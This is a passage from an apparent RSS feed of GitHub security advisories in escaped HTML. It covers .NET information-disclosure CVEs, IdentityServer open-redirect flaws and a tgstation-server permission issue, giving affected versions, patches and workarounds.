        &lt;p&gt;You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at &lt;a href=&quot;https://github.com/dotnet/runtime&quot;&gt;https://github.com/dotnet/runtime&lt;/a&gt; and &lt;a href=&quot;https://github.com/dotnet/aspnet/&quot;&gt;https://github.com/dotnet/aspnet/&lt;/a&gt;. The Announcements repo (&lt;a href=&quot;https://github.com/dotnet/Announcements&quot;&gt;https://github.com/dotnet/Announcements&lt;/a&gt;) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.&lt;/p&gt;
        &lt;h3&gt;Disclaimer&lt;/h3&gt;
        &lt;p&gt;The information provided in this advisory is provided &quot;as is&quot; without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.&lt;/p&gt;
        &lt;h3&gt;External Links&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-38168&quot; rel=&quot;nofollow&quot;&gt;CVE-2024-38168&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;Revisions&lt;/h3&gt;
        &lt;p&gt;V1.0 (August 13, 2024): Advisory published.&lt;/p&gt;
        &lt;p&gt;&lt;em&gt;Version 1.0&lt;/em&gt;&lt;/p&gt;
        &lt;p&gt;&lt;em&gt;Last Updated 2024-08-13&lt;/em&gt;&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-7qrv-8f9x-3h32&quot; href=&quot;https://github.com/dotnet/aspnetcore/security/advisories/GHSA-7qrv-8f9x-3h32&quot;&gt;GHSA-7qrv-8f9x-3h32&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-38168&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-38168&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38168&quot; rel=&quot;nofollow&quot;&gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38168&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7qrv-8f9x-3h32</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7qrv-8f9x-3h32</guid>
      <pubDate>Tue, 13 Aug 2024 19:27:23 GMT</pubDate>
    </item>
    <item>
      <title>Microsoft Security Advisory CVE-2024-38167 | .NET Information Disclosure Vulnerability</title>
      <description>&lt;h1&gt;Microsoft Security Advisory &lt;a title=&quot;CVE-2024-38167&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-3r34-r6w3-fqp6/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-3r34-r6w3-fqp6&quot;&gt;CVE-2024-38167&lt;/a&gt; | .NET Information Disclosure Vulnerability&lt;/h1&gt;
        &lt;h2&gt;&lt;a name=&quot;user-content-executive-summary&quot;&gt;&lt;/a&gt;Executive summary&lt;/h2&gt;
        &lt;p&gt;Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 8.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.&lt;/p&gt;
        &lt;p&gt;A vulnerability exists in .NET runtime TlsStream which may result in Information Disclosure.&lt;/p&gt;
        &lt;h2&gt;Discussion&lt;/h2&gt;
        &lt;p&gt;Discussion for this issue can be found at &lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2463942900&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/dotnet/runtime/issues/106359&quot; data-hovercard-type=&quot;issue&quot; data-hovercard-url=&quot;/dotnet/runtime/issues/106359/hovercard&quot; href=&quot;https://github.com/dotnet/runtime/issues/106359&quot;&gt;dotnet/runtime#106359&lt;/a&gt;&lt;/p&gt;
        &lt;h2&gt;&lt;a name=&quot;user-content-mitigation-factors&quot;&gt;&lt;/a&gt;Mitigation factors&lt;/h2&gt;
        &lt;p&gt;Microsoft has not identified any mitigating factors for this vulnerability.&lt;/p&gt;
        &lt;h2&gt;&lt;a name=&quot;user-content-affected-software&quot;&gt;&lt;/a&gt;Affected software&lt;/h2&gt;
        &lt;ul&gt;
        &lt;li&gt;Any .NET 8.0 application running on .NET 8.0.7 or earlier.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h2&gt;&lt;a name=&quot;user-content-affected-packages&quot;&gt;&lt;/a&gt;Affected Packages&lt;/h2&gt;
        &lt;p&gt;The vulnerability affects any Microsoft .NET Core project if it uses any of affected packages versions listed below&lt;/p&gt;
        &lt;h3&gt;&lt;a name=&quot;user-content-.net 8&quot;&gt;&lt;/a&gt;.NET 8&lt;/h3&gt;
        &lt;markdown-accessiblity-table&gt;&lt;table role=&quot;table&quot;&gt;
        &lt;thead&gt;
        &lt;tr&gt;
        &lt;th&gt;Package name&lt;/th&gt;
        &lt;th&gt;Affected version&lt;/th&gt;
        &lt;th&gt;Patched version&lt;/th&gt;
        &lt;/tr&gt;
        &lt;/thead&gt;
        &lt;tbody&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.linux-arm&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.linux-arm64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.linux-musl-arm&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.linux-musl-arm64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.linux-musl-x64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.linux-x64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.osx-arm64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.osx-x64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.win-arm&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.win-arm64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.win-x64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86&quot; rel=&quot;nofollow&quot;&gt;Microsoft.NetCore.App.Runtime.win-x86&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;/tbody&gt;
        &lt;/table&gt;&lt;/markdown-accessiblity-table&gt;
        &lt;h2&gt;Advisory FAQ&lt;/h2&gt;
        &lt;h3&gt;&lt;a name=&quot;user-content-how-affected&quot;&gt;&lt;/a&gt;How do I know if I am affected?&lt;/h3&gt;
        &lt;p&gt;If you have a runtime or SDK with a version listed, or an affected package listed in &lt;a href=&quot;https://github.com/advisories/GHSA-3r34-r6w3-fqp6#affected-packages&quot;&gt;affected software&lt;/a&gt; or &lt;a href=&quot;https://github.com/advisories/GHSA-3r34-r6w3-fqp6#affected-software&quot;&gt;affected packages&lt;/a&gt;, you&#39;re exposed to the vulnerability.&lt;/p&gt;
        &lt;h3&gt;&lt;a name=&quot;user-content-how-fix&quot;&gt;&lt;/a&gt;How do I fix the issue?&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;To fix the issue please install the latest version of .NET 8.0 or .NET 6.0. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.&lt;/li&gt;
        &lt;li&gt;If you have .NET 6.0 or greater installed, you can list the versions you have installed by running the &lt;code class=&quot;notranslate&quot;&gt;dotnet --info&lt;/code&gt; command. You will see output like the following;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;.NET Core SDK (reflecting any global.json):
        Version: 8.0.200
        Commit: 8473146e7d
        Runtime Environment:
        OS Name: Windows
        OS Version: 10.0.18363
        OS Platform: Windows
        RID: win10-x64
        Base Path: C:\Program Files\dotnet\sdk\6.0.300\
        Host (useful for support):
        Version: 8.0.3
        Commit: 8473146e7d
        .NET Core SDKs installed:
        8.0.200 [C:\Program Files\dotnet\sdk]
        .NET Core runtimes installed:
        Microsoft.AspAspNetCore.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.AspAspNetCore.App]
        Microsoft.AspNetCore.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
        Microsoft.WindowsDesktop.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
        To install additional .NET Core runtimes or SDKs:
        https://aka.ms/dotnet-download
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ul&gt;
        &lt;li&gt;If you&#39;re using .NET 8.0, you should download and install .NET 8.0.8 Runtime or .NET 8.0.108 SDK (for Visual Studio 2022 v17.8) from &lt;a href=&quot;https://dotnet.microsoft.com/download/dotnet-core/8.0&quot; rel=&quot;nofollow&quot;&gt;https://dotnet.microsoft.com/download/dotnet-core/8.0&lt;/a&gt;.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;.NET 8.0 updates are also available from Microsoft Update. To access this either type &quot;Check for updates&quot; in your Windows search, or open Settings, choose Update &amp;amp; Security and then click Check for Updates.&lt;/p&gt;
        &lt;p&gt;Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.&lt;/p&gt;
        &lt;p&gt;Additionally, if you&#39;ve deployed &lt;a href=&quot;https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd&quot; rel=&quot;nofollow&quot;&gt;self-contained applications&lt;/a&gt; targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.&lt;/p&gt;
        &lt;h2&gt;Other Information&lt;/h2&gt;
        &lt;h3&gt;Reporting Security Issues&lt;/h3&gt;
        &lt;p&gt;If you have found a potential security issue in .NET 8.0 or .NET 6.0, please email details to &lt;a href=&quot;mailto:secure@microsoft.com&quot;&gt;secure@microsoft.com&lt;/a&gt;. Reports may qualify for the Microsoft .NET Core &amp;amp; .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at &lt;a href=&quot;https://aka.ms/corebounty&quot; rel=&quot;nofollow&quot;&gt;https://aka.ms/corebounty&lt;/a&gt;.&lt;/p&gt;
        &lt;h3&gt;Support&lt;/h3&gt;
        &lt;p&gt;You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at &lt;a href=&quot;https://github.com/dotnet/runtime&quot;&gt;https://github.com/dotnet/runtime&lt;/a&gt; and &lt;a href=&quot;https://github.com/dotnet/aspnet/&quot;&gt;https://github.com/dotnet/aspnet/&lt;/a&gt;. The Announcements repo (&lt;a href=&quot;https://github.com/dotnet/Announcements&quot;&gt;https://github.com/dotnet/Announcements&lt;/a&gt;) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.&lt;/p&gt;
        &lt;h3&gt;Disclaimer&lt;/h3&gt;
        &lt;p&gt;The information provided in this advisory is provided &quot;as is&quot; without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.&lt;/p&gt;
        &lt;h3&gt;External Links&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-38167&quot; rel=&quot;nofollow&quot;&gt;CVE-2024-38167&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;Revisions&lt;/h3&gt;
        &lt;p&gt;V1.0 (August 13, 2024): Advisory published.&lt;/p&gt;
        &lt;p&gt;&lt;em&gt;Version 1.0&lt;/em&gt;&lt;/p&gt;
        &lt;p&gt;&lt;em&gt;Last Updated 2024-08-13&lt;/em&gt;&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-3r34-r6w3-fqp6&quot; href=&quot;https://github.com/dotnet/runtime/security/advisories/GHSA-3r34-r6w3-fqp6&quot;&gt;GHSA-3r34-r6w3-fqp6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-38167&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-38167&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2463942900&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/dotnet/runtime/issues/106359&quot; data-hovercard-type=&quot;issue&quot; data-hovercard-url=&quot;/dotnet/runtime/issues/106359/hovercard&quot; href=&quot;https://github.com/dotnet/runtime/issues/106359&quot;&gt;dotnet/runtime#106359&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38167&quot; rel=&quot;nofollow&quot;&gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38167&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-3r34-r6w3-fqp6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-3r34-r6w3-fqp6</guid>
      <pubDate>Tue, 13 Aug 2024 19:26:10 GMT</pubDate>
    </item>
    <item>
      <title>IdentityServer Open Redirect vulnerability</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;It is possible for an attacker to craft malicious Urls that certain functions in IdentityServer will incorrectly treat as local and trusted. If such a Url is returned as a redirect, some browsers will follow it to a third-party, untrusted site.&lt;/p&gt;
        &lt;h3&gt;Affected Methods&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;
        &lt;p&gt;In the &lt;code class=&quot;notranslate&quot;&gt;DefaultIdentityServerInteractionService&lt;/code&gt;, the &lt;code class=&quot;notranslate&quot;&gt;GetAuthorizationContextAsync&lt;/code&gt; method may return non-null and the &lt;code class=&quot;notranslate&quot;&gt;IsValidReturnUrl&lt;/code&gt; method may return true for malicious Urls, indicating incorrectly that they can be safely redirected to.&lt;/p&gt;
        &lt;p&gt;&lt;em&gt;UI code calling these two methods is the most commonly used code path that will expose the vulnerability. The default UI templates rely on this behavior in the Login, Challenge, and Consent pages. Customized user interface code might also rely on this behavior. The following uncommonly used APIs are also vulnerable:&lt;/em&gt;&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;The &lt;code class=&quot;notranslate&quot;&gt;ServerUrlExtensions.GetIdentityServerRelativeUrl&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;ReturnUrlParser.ParseAsync&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;OidcReturnUrlParser.ParseAsync&lt;/code&gt; methods may incorrectly return non-null, and the &lt;code class=&quot;notranslate&quot;&gt;ReturnUrlParser.IsValidReturnUrl&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;OidcReturnUrlParser.IsValidReturnUrl&lt;/code&gt; methods may incorrectly return true for malicious Urls.&lt;/p&gt;
        &lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;IdentityServer4 is no longer supported and will not be receiving updates. Please consider updating to &lt;a href=&quot;https://duendesoftware.com/&quot; rel=&quot;nofollow&quot;&gt;Duende.IdentityServer&lt;/a&gt;.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-ff4q-64jc-gx98&quot; href=&quot;https://github.com/DuendeSoftware/IdentityServer/security/advisories/GHSA-ff4q-64jc-gx98&quot;&gt;GHSA-ff4q-64jc-gx98&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-55p7-v223-x366&quot; href=&quot;https://github.com/IdentityServer/IdentityServer4/security/advisories/GHSA-55p7-v223-x366&quot;&gt;GHSA-55p7-v223-x366&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-39694&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-39694&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-55p7-v223-x366</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-55p7-v223-x366</guid>
      <pubDate>Wed, 31 Jul 2024 19:57:33 GMT</pubDate>
    </item>
    <item>
      <title>IdentityServer Open Redirect vulnerability</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;It is possible for an attacker to craft malicious Urls that certain functions in IdentityServer will incorrectly treat as local and trusted. If such a Url is returned as a redirect, some browsers will follow it to a third-party, untrusted site.&lt;/p&gt;
        &lt;p&gt;&lt;em&gt;Note: by itself, this vulnerability does &lt;strong&gt;not&lt;/strong&gt; allow an attacker to obtain user credentials, authorization codes, access tokens, refresh tokens, or identity tokens. An attacker could however exploit this vulnerability as part of a phishing attack designed to steal user credentials.&lt;/em&gt;&lt;/p&gt;
        &lt;h3&gt;Affected Methods&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;
        &lt;p&gt;In the &lt;code class=&quot;notranslate&quot;&gt;DefaultIdentityServerInteractionService&lt;/code&gt;, the &lt;code class=&quot;notranslate&quot;&gt;GetAuthorizationContextAsync&lt;/code&gt; method may return non-null and the &lt;code class=&quot;notranslate&quot;&gt;IsValidReturnUrl&lt;/code&gt; method may return true for malicious Urls, indicating incorrectly that they can be safely redirected to.&lt;/p&gt;
        &lt;p&gt;&lt;em&gt;UI code calling these two methods is the most commonly used code path that will expose the vulnerability. The default UI templates rely on this behavior in the Login, Challenge, Consent, and Account Creation pages. Customized user interface code might also rely on this behavior. The following uncommonly used APIs are also vulnerable:&lt;/em&gt;&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;The &lt;code class=&quot;notranslate&quot;&gt;ServerUrlExtensions.GetIdentityServerRelativeUrl&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;ReturnUrlParser.ParseAsync&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;OidcReturnUrlParser.ParseAsync&lt;/code&gt; methods may incorrectly return non-null, and the &lt;code class=&quot;notranslate&quot;&gt;ReturnUrlParser.IsValidReturnUrl&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;OidcReturnUrlParser.IsValidReturnUrl&lt;/code&gt; methods may incorrectly return true for malicious Urls.&lt;/p&gt;
        &lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;This vulnerability is fixed in the following versions of Duende.IdentityServer:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;7.0.6&lt;/li&gt;
        &lt;li&gt;6.3.10&lt;/li&gt;
        &lt;li&gt;6.2.5&lt;/li&gt;
        &lt;li&gt;6.1.8&lt;/li&gt;
        &lt;li&gt;6.0.5&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;Duende.IdentityServer 5.1 and earlier and all versions of IdentityServer4 are no longer supported and will not be receiving updates.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;If upgrading is not possible, use &lt;code class=&quot;notranslate&quot;&gt;IUrlHelper.IsLocalUrl&lt;/code&gt; from ASP.NET Core 5.0 or later to validate return Urls in user interface code in the IdentityServer host.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-ff4q-64jc-gx98&quot; href=&quot;https://github.com/DuendeSoftware/IdentityServer/security/advisories/GHSA-ff4q-64jc-gx98&quot;&gt;GHSA-ff4q-64jc-gx98&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/269ca2171fe1e901c87f2f0797bbc7c230db87c6/hovercard&quot; href=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/269ca2171fe1e901c87f2f0797bbc7c230db87c6&quot;&gt;DuendeSoftware/IdentityServer@&lt;tt&gt;269ca21&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/765116a2d4fb0671b6eba015e698533900c61c8e/hovercard&quot; href=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/765116a2d4fb0671b6eba015e698533900c61c8e&quot;&gt;DuendeSoftware/IdentityServer@&lt;tt&gt;765116a&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/d0d8eab35ad9183b14925496803ed8b36658d0a1/hovercard&quot; href=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/d0d8eab35ad9183b14925496803ed8b36658d0a1&quot;&gt;DuendeSoftware/IdentityServer@&lt;tt&gt;d0d8eab&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/f04cf0be859b93f43563f8f812eb92206ad94011/hovercard&quot; href=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/f04cf0be859b93f43563f8f812eb92206ad94011&quot;&gt;DuendeSoftware/IdentityServer@&lt;tt&gt;f04cf0b&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/fe817b499933d6ed6141b153492d7335c28b184a/hovercard&quot; href=&quot;https://github.com/DuendeSoftware/IdentityServer/commit/fe817b499933d6ed6141b153492d7335c28b184a&quot;&gt;DuendeSoftware/IdentityServer@&lt;tt&gt;fe817b4&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-55p7-v223-x366&quot; href=&quot;https://github.com/IdentityServer/IdentityServer4/security/advisories/GHSA-55p7-v223-x366&quot;&gt;GHSA-55p7-v223-x366&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-39694&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-39694&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ff4q-64jc-gx98</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ff4q-64jc-gx98</guid>
      <pubDate>Wed, 31 Jul 2024 15:28:54 GMT</pubDate>
    </item>
    <item>
      <title>tgstation-server&#39;s DreamMaker environment files outside the deployment directory can be compiled and ran by insufficiently permissioned users</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;&lt;em&gt;What kind of vulnerability is it? Who is impacted?&lt;/em&gt;&lt;/p&gt;
        &lt;p&gt;Low permission users using the &quot;Set .dme Path&quot; privilege could potentially set malicious .dme files existing on the host machine to be compiled and executed.&lt;/p&gt;
        &lt;p&gt;These .dme files could be uploaded via tgstation-server (requiring a separate, isolated privilege) or some other means.&lt;/p&gt;
        &lt;p&gt;A server configured to execute in BYOND&#39;s trusted security level (requiring a third separate, isolated privilege OR being set by another user) could lead to this escalating into remote code execution via BYOND&#39;s shell() proc.&lt;/p&gt;
        &lt;p&gt;The ability to execute this kind of attack is a known side effect of having privileged TGS users, but normally requires multiple privileges with known weaknesses. This vector is not intentional as it does not require control over the where deployment code is sourced from and &lt;em&gt;may&lt;/em&gt; not require remote write access to an instance&#39;s &lt;code class=&quot;notranslate&quot;&gt;Configuration&lt;/code&gt; directory.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;&lt;em&gt;Has the problem been patched? What versions should users upgrade to?&lt;/em&gt;&lt;/p&gt;
        &lt;p&gt;This problem is patched by pull request #1835 and fixed in versions 6.8.0 and above.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;&lt;em&gt;Is there a way for users to fix or remediate the vulnerability without upgrading?&lt;/em&gt;&lt;/p&gt;
        &lt;p&gt;Do not give un-trusted users the Deployment permission to set a .dme path on instances.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
